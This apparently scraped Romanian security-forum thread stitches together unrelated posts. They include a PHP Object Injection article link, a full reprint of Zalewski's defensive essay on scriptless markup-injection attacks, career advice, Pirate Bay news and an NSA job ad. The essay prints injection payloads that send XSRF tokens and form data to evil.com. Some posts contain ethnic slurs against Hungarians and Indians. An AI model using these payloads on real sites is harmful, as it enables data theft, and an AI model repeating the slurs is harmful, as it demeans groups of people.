Nytro

Understanding PHP Object Injection January 5, 2015 Ionut Popescu PHP Object Injection is not a very common vulnerability, it may be difficult to exploit but it also may be really dangerous. In order to understand this vulnerability, understanding of basic PHP code is required. Vulnerable applications If you may think this is not an important type of vulnerability, please see the list below. Researchers found PHP Object Injection vulnerabilities in very common PHP applications: WordPress 3.6.1 Magento 1.9.0.1 Joomla 3.0.3 IP Board 3.3.4 And many others. There may be a lot of other undiscovered PHP Object Injections in these or in other very common PHP applications, so maybe you can take a coffee break and try to understand it. Articol complet: http://securitycafe.ro/2015/01/05/understanding-php-object-injection/

Postcards from the post-XSS world Michal Zalewski, <lcamtuf@coredump.cx> 1. Introduction HTML markup injection vulnerabilities are one of the most significant and pervasive threats to the security of web applications. They arise whenever, in the process of generating HTML documents, the underlying code inserts attacker-controlled variables into the output stream without properly screening them for syntax control characters. Such a mistake allows the party controlling the offending input to alter the structure - and thus the meaning - of the produced document.In practical settings, markup injection vulnerabilities are almost always leveraged to execute attacker-supplied JavaScript code in the client-side browsing contextassociated with the vulnerable application. The term cross-site scripting, a common name for this class of flaws, reflects the prevalence of this approach.The JavaScript language is popular with attackers because of its versatility, and the ease with which it may be employed to exfiltrate arbitrarily chosen data, alter the appearance of the targeted website, or to perform server-side state changes on behalf of the authenticated user. Consequently, most of the ongoing browser-level efforts to improve the security of web applications focus on the containment of attacker-originating scripts. The most notable example of this trend is undoubtedly the Content Security Policy, a mechanism that removes the ability to inline JavaScript code in a protected HTML document, and maintains a whitelist of permissible sources for any externally-loaded scripts. Several related approaches, such as the NoScript add-on, the built-in XSS filters in Internet Explorer and Chrome, client-side APIs such astoStaticHTML(...), or the HTML sanitizers built into server-side frameworks, also deserve a note.This page is a rough collection of notes on some of the fundamental alternatives to direct script injection that would be available to attackers following the universal deployment of CSP or other security mechanisms designed to prevent the execution of unauthorized scripts. I hope to demonstrate that in many cases, the capabilities offered by these alternative methods are highly compatible with the goals of contemporary XSS attacks. 2. Content exfiltration One of the most rudimentary goals of a successful XSS attack is the extraction of user-specific secrets from the vulnerable application. Historically, XSS exploits sought to obtain HTTP cookies associated with the authenticated user session; these tokens - a form of ambient authority - could be later replayed by the attacker to remotely impersonate the victim within the targeted site. The introduction of httponly cookies greatly limited this possibility - and prompted rogue parties to pursue finer-grained approaches.In an application where theft of HTTP cookies is not practical, exfiltration attempts are usually geared toward the extraction of any of the following: Personal data. In applications such as webmail systems, discussion or messaging platforms, social networks, or shopping or banking sites, the information about the user may be of immense value on its own merit. The extraction of contact lists, messaging history, or transaction records, may be the ultimate goal of an attack. Tokens used to defend against cross-site request forgery attacks. Under normal circumstances, any website loaded in the victim's browser is free to blindly initiate cross-domain requests to any destination. Because such a request is automatically supplanted with user's ambient credentials, it is difficult to distinguish it from a request that arises in response to a legitimate user action. To prevent malicious interference, most websites append session-specific, unpredictable secrets - XSRF tokens - to all GET URLs or POST request bodies that change the state of user account or perform other disruptive tasks.The tokens are an attractive target for exfiltration, because their possession enables the attacker to bypass the defense, and construct valid-looking state changing requests that can be relayed through the victim's browser later on. Such requests may, for example, instruct the application to add an attacker-controlled persona as a privileged contact or a delegate for the victim. Capability-bearing URLs. Many modern web applications make occasional use of capability-bearing URLs; this is particularly common for constructing invitation and sharing links; offering downloads of private data; implementing single sign-on flows (SSO); or performing federated login. The ability for the attacker to obtain these URLs is equivalent to gaining access to the protected resource or functionality; especially in the case of authentication flows, that token may be equivalent to HTTP cookies. In this section, I'd like to present several exfiltration strategies that enable attackers to extract these types of data without the need to execute JavaScript. 2.1. Dangling markup injection Perhaps the least complicated extraction technique employs the injection of non-terminated markup. This action prompts the receiving parser to consume a significant portion of the subsequent HTML syntax, until the expected terminating sequence is encountered.To illustrate this attack, consider the following example of a markup injection vector:<img src='http://evil.com/log.cgi? ? Injected line with a non-terminated parameter ... <input type="hidden" name="xsrf_token" value="12345"> ... ' ? Normally-occurring apostrophe in page text ... </div> ? Any normally-occurring tag (to provide a closing bracket) Any markup between the opening single quote of the src parameter and the next occurrence of a matching quote will be treated as a part of the image URL. Consequently, the browser will issue a request to retrieve the image from the specified location - thereby disclosing the secret value to an attacker-controlled destination: http://evil.com/log.cgi?...<input type="hidden" name="xsrf_token" value="12345">... Note that in some deployments of CSP, the destination URLs for <img> tags may be restricted for non-security reasons; in these cases, the attacker is free to leverage several other tags, including <meta http-equiv="Refresh" ...> - honored anywhere in the document in all popular browsers, and not subject to policy controls.In either case, the attacker may choose the parameter quoting scheme to counter the prevalent syntax used on the targeted page; single and double quoted are recognized by all browsers, and in Internet Explorer, backtick (`) is also a recognized option. In most browsers, the HTML parser must encounter a matching quote and a greater-than character before the end of the document; otherwise, the malformed tag will be ignored. This is not true for all HTML parsers, however: Opera and older versions of Firefox will close the tag implicitly.To succeed, the attack also requires the injection point to appear before the secret to be extracted. If governed by pure chance, this condition will be met in 50% of all cases. In practice, the odds will often be higher: It is not uncommon for a vulnerable website to embed several copies of the same secret, or several instances of an improperly escaped parameter, on a single page. 2.2. <textarea>-based consumption The dangling markup vector discussed in section 2.1 is to some extent dependent on the layout of the vulnerable page; in absence of a matching quote character, or in presence of mixed-style quoting in the legitimately present markup, the attack may be difficult to carry out. These constraints are removed by leveraging the CDATA-like behavior of the <textarea> tag, however.The possibility is illustrated by the following snippet: <form action='http://evil.com/log.cgi'><textarea> ? Injected line ... <input type="hidden" name="xsrf_token" value="12345"> ... (EOF) In this case, all browsers will implicitly close the <textarea> and <form> blocks.The weakness of this approach is that in contrast to the previous method, a degree of user interaction is needed to exfiltrate the data: The victim must submit the form by pressing ENTER or clicking the submit button. This interaction is easy to facilitate by giving the submit button a misleading appearance - for example, as a faux notification or an interstitial to be dismissed, or even a transparent overlay that spans the entire browser window. That goal can be typically achieved by leveraging existing CSS classes in the application, or other methods discussed later in this document (section 3.3).It is also worth noting that forms with auto-submit capabilities are being considered for HTML5; such a feature may unintentionally assist with the automation of this attack in future browsers.Attribution: The idea for <textarea>-based markup consumption comes from an upcoming paper on data exfiltration by Eric Y. Chen, Sergey Gorbaty, Astha Singhal, and Collin Jackson. According to Gareth Heyes, it might have been discussed previously, too. Gareth additionally points out similar consumption vectors via <button> and <option>. 2.3. Rerouting of existing forms Another exfiltration opportunity is afforded by a peculiar property of HTML: The <form> tag can't be nested, and the top-level occurrence of this markup always takes precedence over subsequent appearances. This allows the attacker to change the URL to which any existing form will be submitted, simply by injecting an additional form definition in the preceding portion of the document: <form action='http://evil.com/log.cgi'> ? Injected line ... <form action='update_profile.php'> ? Legitimate, pre-existing form ... <input type="text" name="real_name" value="John Q. Public"> ... </form> This attack is particularly interesting when used to target forms automatically populated with user-specific secrets - as would be the case with any forms used to update profile information, shipping or billing address, or other contact data; form-based XSRF tokens are also a possible target. 2.4. Use of <base> to hijack relative URLs The next exfiltration vector worth highlighting relies on the injection of <base> tags. A majority of web browsers honor this tag outside the standards-mandated <head> section; in such a case, the attacker injecting this markup would be able to change the semantics of all subsequently appearing relative URLs, e.g.: <base href='http://evil.com/'> ? Injected line ... <form action='update_profile.php'> ? Legitimate, pre-existing form ... <input type="text" name="real_name" value="John Q. Public"> ... </form> Here, any user-initiated profile update will be submitted to http://evil.com/update_profile.php, rather than back to the originating server that produced the HTML document. 2.5. Form injection to intercept browser-managed passwords In-browser password managers are a popular tool for simplifying account management across multiple websites. They operate by detecting HTML forms that include a password field, and offering the user to save the entered credentials in a browser-operated password jar. The stored passwords are then automatically inserted into any plausibly-looking forms encountered within a matching origin. In Chrome and Firefox, this autocompletion requires no user interaction; in Internet Explorer and Opera, an additional gesture may be required.The attacker may obtain stored passwords by leveraging a markup injection vulnerability to present the browser with a well-structured password form. In absence of the ability to execute scripts, the next step is browser- and application-specific: In browsers such as Chrome and Opera, the actual URL to which the form submits (the action parameter) may be selected arbitrarily and may point to an attacker-controlled server. This offers a very straightforward exfiltration opportunity. In most other browsers, it is possible to present a form that specifies GET instead of POST as the submission mode (the method parameter), and submit the credentials to a carefully selected same-site destination. That destination may be a page that links to or includes subresources from third-party sites (thus leaking the credentials in theReferer header); or a page that echoes back query parameters in the response body, and is vulnerable to any of the previously discussed exfiltration methods. 2.6. Addendum: The limits of exfiltration defenses It is tempting to counter the vectors previously outlined in the document by simply preventing the attacker from contacting third-party servers; for example, one may wish to restrict the set of permissible destinations for markup such as <form>, <a href=...>, or <img>. Indeed, several academic anti-exfiltration frameworks have been proposed in the past, either as a sole defense against the consequences of cross-site scripting, or to be used in tandem with script execution countermeasures. It appears that some desire to prevent exfiltration influenced the original proposals for CSP, too.It must be noted, however, that any attempts to prevent exfiltration, even in script-less environments, are very unlikely to be successful. Browsers offer extensive indirect data disclosure opportunities through channels such as the Referer technique outlined in 2.5; through the window.name parameter that persists across origins (and policy scopes) on newly created views; and through a variety of DOM inspection and renderer and cache timing vectors that may be used by third-party documents to make surprisingly fine-grained observations about the structure of the policed page.It is also important to recognize that exfiltration attempts do not have to be geared toward relaying the data to a third-party website to begin with: In many settings, it is sufficient to move the data from private and into public view, all within the scope of a single website. A simple illustration of this attack on an e-commerce site may be: <form action='/post_review.php'> <input type='hidden' name='review_body' value=" ? Injected lines ... Your current shipping address: ? Existing page text to be exfiltrated 123 Evergreen Terrace Springfield, USA ... <form action="/update_address.php"> ? Existing form (ignored by the parser) ... <input type="hidden" name="xsrf_token" value="12345"> ? Token valid for /update_address.php and /post_review.php ... </form> This form, if interacted with, will unexpectedly submit the victim's home address as the body of a publicly visible product review, where the attacker may be able to intercept it before the user notices the problem and reacts.Attribution: The second technique presented above is inspired by an upcoming paper on data exfiltration by Eric Y. Chen, Sergey Gorbaty, Astha Singhal, and Collin Jackson. 3. Infiltration of application logic Data exfiltration is one of the important goals in the exploitation of XSS vulnerabilities, but is not the only one. In some settings, the attacker may be more interested in actively disrupting the state of the targeted application; these attacks typically seek one or more of the following outcomes: Alteration or destruction of legitimate content. Most attackers will seek to immediately replace victim-owned documents with misleading or disparaging content, to distribute offensive messages, or to simply destroy valuable data. Delegation of account access. Such attacks seek to gain longer-term access to the capabilities offered by the targeted site - such as read-only or read-write access to victim's private data. On a content publishing platform, this may involve adding an attacker-controlled persona as a secondary administrator of the victim-owned channel, or as a collaborator on a particular document; in a webmail system, the attack may focus on creating a mail forwarding rule to siphon off all the incoming mail; and on a social networking site, the goal may be to add the attacker as a trusted contact ("friend"). Use of special privileges. In select cases, attackers may wish to abuse additional privileges bestowed upon the vulnerable origin by the browser itself (e.g., the ability to change critical settings, install extensions or updates); or the trust the user associates with the targeted site (perhaps expressed as the willingness to accept unsolicited downloads). Propagation of attacker-supplied markup. Certain attacks seek to create autonomously propagating worms that spread between the users of a site by leveraging site-specific messaging and content sharing mechanisms. The creation of a worm may be an accomplishment in itself, or a way for maximizing the efficiency of any other attack. This section showcases techniques that may be used to further these goals in absence of the ability to inject attacker-supplied code. 3.1. Interference with existing scripts Contemporary web applications make extensive use of JavaScript to handle the bulk of content presentation and user interface tasks. From the security standpoint, these responsibilities may have seemed insignificant, but this view no longer holds true; for example, in an collaborative document editor, client-side scripts may be tasked with: Determining and recording the outcome of user-initiated ACL changes for the document ("sharing dialogs"), Sanitizing or escaping server-supplied strings to make them safe for display, Keeping track and synchronizing the contents of the edited file. By analogy to conceptually similar but better-studied race condition or off-by-one vulnerabilities in non-browser applications, it can be expected that the ability to put the execution environment in an inconsistent and unexpected state will not merely render the program inoperative - but will routinely lead to outcomes desirable to the attacker. 3.1.1. HTML namespace attacks One of the most straightforward state corruption vectors is based on id or name collisions between attacker-injected markup and legitimate contents of the page. The impact of such a collision is easy to illustrate using the example of a script-generated dialog, where the initial state of a configurable setting is captured using an editable control (typically <input>), and then read back through document.getElementById(...) and sent to the server: <input type='checkbox' id='is_public' checked> ? Injected markup ... // Legitimate application code follows function render_acl_dialog() { ... if (shared_publicly) dialog.innerHTML += '<input type="checkbox" id="is_public" checked>'; else dialog.innerHTML += '<input type="checkbox" id="is_public">'; ... } function acl_dialog_done() { ... if (document.getElementById('is_public').checked) ? Condition true regardless of user choice request.access_mode = AM_PUBLIC; ... } An even simpler example against a statically constructed dialog may be carried as follows:<input type='hidden' id='share_with' value='fredmbogo'> ? Injected markup ... Share this status update with: ? Legitimate optional element of a dialog <input id='share_with' value=''> ... function submit_status_update() { ... request.share_with = document.getElementById('share_with').value; ... } In both cases, the browser will allow the page to have several DOM elements with the same id parameter, but only the first, attacker-controlled value will be returned ongetElementById(...) lookups. The initial state of the configurable setting will be stored in one tag, but the attempt to read back the value later on will interact with another.The degree of user interaction required for this attack to succeed is application-specific, and may vary from zero to multiple clicks. The article proposes a method for making the user unwittingly interact with UI controls in section 3.3.3.1.2. Script namespace attacks The namespace attack discussed in the previous section may be also leveraged to directly interfere with the JavaScript execution environment, without relying on other HTML elements as a proxy. This is because of a little-known link between the markup and the script namespace: In all popular browsers, the identifiers attached to HTML tags are automatically registered in the JavaScript context associated with the page. This registration happens on two levels: For any type of a tag, a new node with a name matching the id parameter of the tag is inserted into the default object scope. In other words, <div id=test> will create a global variable test (of type HTMLDivElement), pointing to the DOM object associated with the tag.In this scenario, the mapping has a lower priority than any built-ins or variables previously created by on-page scripts. The behavior of identically named variables created later on is browser-specific. For several special tags, such as <img>, <iframe>, or <embed>, an entry for both the id and the name is additionally inserted into the document object. For example, <img name=test> will produce a node named document.test.This mapping has a higher priority than built-ins and script-created variables. An attacker capable of injecting passive markup may leverage this property in a manner illustrated in this code snippet:<img id='is_public'> ? Injected markup ... // Legitimate application code follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ? The subsequent assignment fails in IE is_public = true; else is_public = false; } function submit_new_acls() { ... if (is_public) request.access_mode = AM_PUBLIC; ? Condition always evaluates to true ... } The consequences of this namespace pollution are made worse because the DOM objects associated with certain HTML elements have specialized methods for converting them to strings; this enables the attacker to attack not only simple Boolean conditions, but also to spoof numbers and strings: <a id='owner_user' href='fredmbogo'> ? Injected markup <img id='data_loaded''> ... // Legitimate application code follows function retrieve_data() { if (window.data_loaded) return; ? Condition met in browsers other than Firefox ... owner_user = response.owner; data_loaded = true; } function submit_new_acls() { ... request.can_edit = owner_user + ...; ? The string 'fredmbogo' is inserted request.can_read = owner_user + ...; ... } Several other exploitation venues appear to exist, but will be more closely tied to the design of the targeted application. It is, for example, possible to shadow built-ins such as document.domain, document.cookie, document.location, or document.referrer in order to interfere with certain security decisions; it is also trivial to disrupt the operation of methods such as document.createElement() or document.open(); fabricate the availability of the window.postMessage(...), window.crypto, or other security APIs; and more. 3.1.3. Script load order issues (CSP-specific) Script policing frameworks must necessarily seek compromise between the ease of deployment and the granularity of the offered security controls. In the case of Content Security Policy, this compromise may unexpectedly undermine the assurances offered to many real-world web apps.The key issue is that for the sake of simplicity, CSP relies on origin-level granularity: It is possible to control permissible script sources on a protocol, host, and port level, but not to specify individual script URLs - or the order they need to be loaded in. This design decision enables the attacker to load arbitrary scripts found anywhere on the site in an unexpected context, in an incorrect order, or an unplanned number of times.One trivial but plausible example where this capability may be used to put the application in an inconsistent state is illustrated below: <script src='initialize.js'></script>: ? Legitimate scripts var edited_text = ''; <script src='load_document.js'></script>: edited_text = server_response.text; ... setInterval(autosave_to_server, 10000); <script src='initialize.js'></script>: ? Injected script load var edited_text = ''; The possibility of loading scripts that use similar variable or function names, but belong to logically separate views, is perhaps more unsettling and more difficult to audit for; consider the following snippet of code: <script src='/admin/initialize.js'></script>: ? Injected script load ... initialized = true; <script src='/editor/editor.js'></script>: ? Legitimate scripts ... function load_data() { if (initialized) return; ... if (new_document) { acl_read_users = current_username; acl_write_users = current_username; ... } ... initialized = true; } ... function save_acls() { ... request.acl_read_users = acl_read_users; ? Submits user 'undefined' as a collaborator. request.acl_write_users = acl_write_users; ... } On any moderately complex website, it appears to be prohibitively difficult to account for all the possible interactions between hundreds of unrelated scripts. Further, it appears unlikely that webmasters would routinely appreciate the consequences of hosting nominally unused portions of JavaScript libraries, older versions of currently loaded scripts, or portions of JS used for testing or diagnostic purposes, anywhere within their WWW root. 3.1.4. Abuse of JSONP (CSP-specific) JSONP (JSON with padding) is a popular method for building JavaScript APIs. JSONP interfaces are frequently used to integrate with services provided by trusted third-party sites (e.g., to implement search or mapping capabilities), as well as to retrieve private first-party data (in this case, an additional Referer check or an XSRF token is commonly used).Regardless of the purpose, the integration with any JSONP API is achieved by including a script reference similar to this: <script src="http://example.com/find_store.php?zipcode=90210&callback=parse_response"></script> In response, the server dynamically generates a script structured roughly the following way:parse_response({ 'zipcode': '90210', 'results': [ '123 Evergreen Terrace', ... ]}); The inclusion of this response as a script results in the invocation of a client-specified callback - parse_response(...) - in the context of the calling page.Any CSP-enabled website that either offers JSONP feeds to others, or utilizes them internally, is automatically prone to a flavor of return-oriented programming: the attacker is able to invoke any functions of his choice, often with at least partly controllable parameters, by specifying them as the callback parameter on the API call: <script src='/editor/sharing.js'>: ? Legitimate script function set_sharing(public) { if (public) request.access_mode = AM_PUBLIC; else request.access_mode = AM_PRIVATE; ... } <script src='/search?q=a&call=set_sharing'>: ? Injected JSONP call set_sharing({ ... }) In addition, any JSONP interface that does not filter out parentheses or other syntax elements in the name of the callback function - a practice that has no special security consequences under normal operating conditions - will be vulnerable to an even more straightforward attack: <script src='/search?q=a&call=alert(1)'></script> 3.1.5. Selective removal of scripts (specific to XSS filters) The last script-related vector that deserves a brief mention in this document is associated with the use of reflected cross-site scripting filters. XSS filters are a security feature designed to selectively remove suspected XSS exploitation attempts from the rendered HTML. They do so by looking for scripting-capable markup that appears to correspond to a potentially attacker-controlled parameter present in the underlying HTTP request. For example, if a request for /search?q=<script>alert(1)</script>returns a page containing <script>alert(1)</script> in its markup, that snippet of HTML will be removed by the filter to stop possible exploitation of an XSS flaw.Because of the fully passive design of the detection stage, cross-site scripting filters have the unfortunate property of being prone to attacker-triggered false positives: By quoting a snippet of a legitimate script present on the page, the XSS filter may be duped into removing this block of code, while permitting any remaining <script> segments or inline event handlers to execute. This behavior has the potential to place the targeted application in an inconsistent state, which may be exploitable in a manner similar to the attacks outlined in section 3.1.3. 3.2. Form parameter injection The JavaScript-centric exploitation strategies discussed previously are an attractive target for attackers, but even in absence of complex scripts, markup injection may be leveraged to alter the state of the application. The disruption of HTML forms is one of the examples of a method independent of any client-side JavaScript: By injecting additional <input type='hidden'> fields in the vicinity of an existing state-changing form, the attacker may trivially change the way the server interprets the intent behind the eventual submission, e.g.: <form action='/change_settings.php'> <input type='hidden' name='invite_user' value='fredmbogo'> ? Injected lines <form action="/change_settings.php"> ? Existing form (ignored by the parser) ... <input type="text" name="invite_user" value=""> ? Subverted field ... <input type="hidden" name="xsrf_token" value="12345"> ... </form> A vast majority of web frameworks will only interpret the first occurrence of invite_user in the submitted form, and will add the account of attacker's choice as a collaborator.Further, because a significant number of frameworks also use XSRF tokens that are not scoped to individual forms, the attack proposed in section 2.6. may be combined with this approach in order to reuse an existing token and submit data to an unrelated state-changing form: <form action='/change_settings.php'> <input type='hidden' name='invite_user' value='fredmbogo'> ? Injected lines <form action="/update_status.php"> ? Existing form (ignored by the parser) ... <input type="text" name="message" value=""> ? Existing field (ignored by /change_settings.php) ... <input type="hidden" name="xsrf_token" value="12345"> ... </form> 3.3. UI-level attacks It should be apparent that the ability to inject passive markup is often sufficient to disrupt the underlying logic of the targeted application. The other important and frequently overlooked aspect of the security of any web application is the integrity of its user interface.In analyzing the impact of markup injection vulnerabilities, we must consider the possibility that the attacker will use stylesheets, perhaps combined with legacy HTML positioning directives, to overlay own content on top of legitimate UI controls and alter their apparent purpose, without affecting the scripted behaviors associated with user actions. For example, it may be possible to skin a document sharing dialog as a harmless and friendly notification, without changing the underlying semantics of the "OK" button displayed therein.Although the most recent specification of CSP disallows inline stylesheets to protect against an unrelated weakness, the attacker is still free to load any other standalone stylesheet found within any of the whitelisted origins, and reuse any of the offered classes normally used to construct the legitimate UI; therefore, such an attack is very likely to be feasible.Another area of concern is that the occurrence of a click or other simple UI action is not necessarily indicative of informed consent. The attacker may trick the user into unwittingly interacting with the targeted application by predicting the timing of a premeditated click, and rapidly transitioning between two documents or two simultaneously open windows; this problem is one of the unsolved challenges in browser engineering, and is discussed in more detail on this page. The context-switching attack may be used separately, or may be leveraged in conjunction with any of the exfiltration or state change techniques discussed here to work around the normally required degree of interaction with the vulnerable page. 3.4. Abuse of special privileges In addition to the attacks on application logic and the apparent function of UI controls, markup injection vulnerabilities may be leveraged to initiate certain privileged actions in a way that bypasses normal security restrictions placed on untrusted sites. These attacks are of less interest from the technical perspective, but are of significant practical concern.Examples of privilege-based attacks that may be delivered over passive HTML markup include: Updating OpenSearch registrations associated with the site to subvert the search integration capabilities integrated into the browser. Initiating the download and installation of extensions, themes, or updates (if the compromised origin is recognized as privileged by one of the mechanisms built into the browser). Instantiating site-locked plugins or ActiveX extensions with attacker-controlled parameters. Starting file downloads or providing misleading and dangerous advice to the user; the user is trained to make trust decisions based on the indicators provided in the address bar, so this offers a qualitative difference in comparison to traditional phishing. 4. Practical limitations of XSS defenses The exfiltration and infiltration methods discussed in this document were chosen by their proximity to the attack outcomes that script containment frameworks hope to prevent, and to the technological domains they operate in. I also shied away from including a detailed discussion of transient and easily correctable glitches in the scope or operation of these mechanisms.A more holistic assessment of these frameworks must recognize, however, that their application is limited to HTML documents, and even more specifically, to documents that are expected ahead of the time to be displayed by the browser as HTML. The existing frameworks have no control over any subresources that may be interpreted by specialized XML parsers or routed to plugins; in that last case, the hosting party has very little control over the process, too.Another practical consideration is that despite being envisioned by security experts, the complexity of interactions with various browser features requires the frameworks to be constantly revised to account for a number of significant loopholes. Some of the notable issues in the relatively short life of CSP included the ability to spoof scripts by pointing <script> tags to non-script documents with partly attacker-controlled contents (originally fixed with strict MIME type matching); the ability to use CSS3 complex selectors to exfiltrate data (addressed by disallowing inline stylesheets); or the ability to leverage accessibility features to implement rudimentary keylogging. This list will probably grow. 5. Conclusion There is no doubt that the recently proposed security measures offer a clear quantitative benefit by rendering the exploitation of markup vulnerabilities more difficult, and dependent on a greater number of application-specific prerequisites.At the same time, I hope to have demonstrated that web applications protected by frameworks such as CSP are still likely to suffer significant security consequences in case of a markup injection flaw. I believe that in many real-world scenarios, the qualitative difference offered by the aforementioned mechanisms is substantially less than expected.It may be useful to compare these measures to the approaches used to mitigate the impact of stack buffer overflows: The use of address space layout randomization, non-executable stack segments, and stack canaries have made exploitation of certain implementation issues more difficult, but reliably prevented it only in a relatively small fraction of cases.For as long as web documents are routinely produced and exchanged as serialized HTML, markup injection will remain a security threat. To address the problem fully, one may flirt with the idea of replacing serialized HTML with parsed, binary DOM trees that are be directly exchanged between the server and the client, and between portions of client-side JavaScript. The performance benefits associated with this design would probably encourage client- and server-side frameworks to limit the use of serialized HTML documents in complex web apps.[Originally published in December 2011] Sursa: http://lcamtuf.coredump.cx/postxss/

O sa stai 8 ore pe zi in fata unui calculator, asta e clar. Dar nu o sa scrii continuu cod. O sa mai stai pe Facebook, pe RST, pe 9gag, o sa iesi la cafea, o sa vorbesti la telefon si orice altceva mai vrei tu sa faci. De multe ori chiar o sa joci ping-pong, biliard sau o sa te joci pe XBOX/PlayStation deoarece multe firme au asa ceva. Facultatea nu te ajuta foarte mult. Poti invata cateva limbaje de programare in facultate, algoritmi si multe alte lucruri utile, dar si lucruri inutile: algebra, analiza... Dar e bine sa ai o dimploma, esti scutit de impozit si castigi cu 16% mai mult. Vezi ca mai erau topicuri pe aici care discutau aceasta problema. Ca programator: 10% scrii cod, 90% faci "debug", adica te dai cu capul de pereti sa intelegi ce e gresit in cele 2 linii de cod pe care tocmai le-ai scris, iar peste 5 ore sa iti dai seama ca nu era de vina codul tau. Se pot intampla multe, dar nu iti imagina ca scrii cod continuu. Daca iti placea programarea, o sa iti placa sa fii programator. Nu e ca si cum ai sta acasa, sa stai 2 ore la TV, sa mai scrii o linie, mai stai doua ore pe Facebook, mai scrii o linie, apoi mai scrii cateva peste doua saptamani cand iti aduci aminte ca voiai sa faci un proiect open-source. Scrii ce vrea seful, adica ce vrea clientul, dar nu ar trebui sa te afecteze. Conteaza mult si cu ce clienti are firma de lucru, deoarece unii au deadline-uri nasoale si ii rup pe angajati. Dar asta tine cel mai mult de conducere. Pune intrebari la "la obiect".

Ceea ce a vrut sa zica @TheTime este ca "Va futem in inima pe toti".

Am modificat titlul. No, futu-ti natia ma-tii de bozgor jegos, pune mana pe o carte adevarata de istorie si citeste-o, nu pe jegurile pe care le-ati primit voi de la cacatii vostri. Pentru cine nu stie, astia sunt invatati de mici ca Ardealul e al lor. @TheTime poate sa afirme. Cine vrea sa afle mai multe sa il citeasca pe Neagu Djuvara, va dau eu carte daca sunteti din Bucuresti, si demonstreaza cum atat limba cat si pamantul sunt romanesti.

I-am pus un titlu adecvat.

BIG SHIT. Sa-i fut in inima pe toti indienii aia nespalati. Jegosii astia au luat 95% Copy/Paste din advisory-ul initial si l-au publicat ca si cum ar fi facut cine stie ce studiu independent. MUIE INDIA!

[h=1]The Pirate Bay returns from the dead, comes back online[/h] Following a raid on a Swedish data center late last year, The Pirate Bay was taken offline for just shy of two months before returning online fully today. The site appears to be fully working on its original domain, with the last uploaded torrent appearing on December 9, the day the site was taken down. The first new torrent contains an image of a phoenix and was uploaded today titled “like a phoenix, it rises from the ashes” said “The Pirate Bay is back.” Torrentfreak reported earlier this week that the previous moderators and admins may be locked out of the revived site, but it’s not clear if that is the case just yet. Even though the site is operational, some functions like the RSS feed don’t work just yet. We also don’t know anything about who’s behind it or if they’re part of the original team. Peter Sunde, co-founder of the site said previously that “it feels good that it might have closed down forever, just a real shame the way it did that.” Perhaps The Pirate Bay is a site that truly never goes offline forever. Sursa: The Pirate Bay Returns From The Dead

[TABLE=class: PSPAGECONTAINER, width: 591] [TR] [TD=colspan: 8, align: left]Job Description [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 7, align: left] [TABLE=class: PABACKGROUNDINVISIBLE] [TR] [TD=width: 7][/TD] [TD=width: 1][/TD] [TD=width: 123][/TD] [TD=width: 2][/TD] [TD=width: 36][/TD] [TD=width: 49][/TD] [TD=width: 84][/TD] [TD=width: 267][/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 2, align: left] Job Title: [/TD] [TD=colspan: 4][/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 4, align: left] Exploitation Analyst [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 2, align: left] Job ID: [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 4, align: left] 1050361 [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=align: left] Location: [/TD] [TD=colspan: 5, align: left] Honolulu, HI;San Antonio, TX [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 3, align: left] Occupational Group: [/TD] [TD=colspan: 4][/TD] [/TR] [TR] [TD][/TD] [TD=align: left] 0132 [/TD] [TD=colspan: 3, align: left] Intelligence [/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD=align: left] Pay Plan: [/TD] [TD][/TD] [/TR] [TR] [TD][/TD] [TD=align: left] GG [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 2, align: left] Full/Part Time: [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 2, align: left] Full-Time [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 2, align: left] Regular/Temporary: [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 4, align: left] Regular [/TD] [/TR] [/TABLE] [/TD] [TD=colspan: 2][/TD] [/TR] [TR] [TD=colspan: 9][/TD] [/TR] [/TABLE] [TABLE=class: PABACKGROUNDINVISIBLE, width: 561] [TR] [TD][/TD] [TD=colspan: 2, align: left] Qualifications [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] Our nation has entered a new era that brings profound changes to the way the National Security Agency conducts its mission. The explosion of the World Wide Web has created a need for the Computer Network Operations (CNO) mission. This very important mission is comprised of network defense and computer network exploitation. In order to carry out these functions NSA is looking for people who are highly skilled and impassioned about winning the war in cyberspace. These are NOT your average Computer Science or Engineering jobs! As an Exploitation Analyst you will evaluate target opportunities and strategize activities against particular networks. Use all source data to understand and map target networks. You may assist in developing detailed Exploitation and Operations Plans to be executed by CNO Operators. Entry is with a High School Diploma and 8 years of experience, or an Associate's Degree and 7 years of experience, or a Bachelor's Degree and 5 years of experience, or a Post-Baccalaureate Certificate and 4 years of experience, or a Master's Degree and 3 years of experience, or a Doctoral Degree and no experience. *Ideal candidates should possess related technical degree (e.g., Telecommunications, Computer Science, Engineering, Mathematics, Physics, Computer Forensics, Cyber Security, IT, or Information Systems, Networking and Telecommunications, other degrees may be considered if with relevant experience) *Experience in networking (IT and wireless), telecommunications, IT support, infrastructure support, programming, field engineering, vulnerability analysis, penetration testing, computer forensics, cyber security, systems administration or related experience. *Digital Network Intelligence (DNI) related experience. *Experience with military training in a relevant area such as JCAC, DNA, NCS NETA courses or relevant UMBC courses, etc. *Sans, CISSP, DoD570, and other relevant certifications [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=align: left] . [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] Pay, Benefits, & Work Schedule [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] Positions Available in Hawaii Successful candidates will receive a specific offer based upon their skills and educational background. SALARY RANGE: $64,280 to $95,972 *Candidates hired for a position in Hawaii may be eligible to receive an annual recruitment incentive, not to exceed three years. TRAINING: Management strongly supports continuing education and career development. DUTY SCHEDULE: This office participates in the Alternate Work Schedule. [/TD] 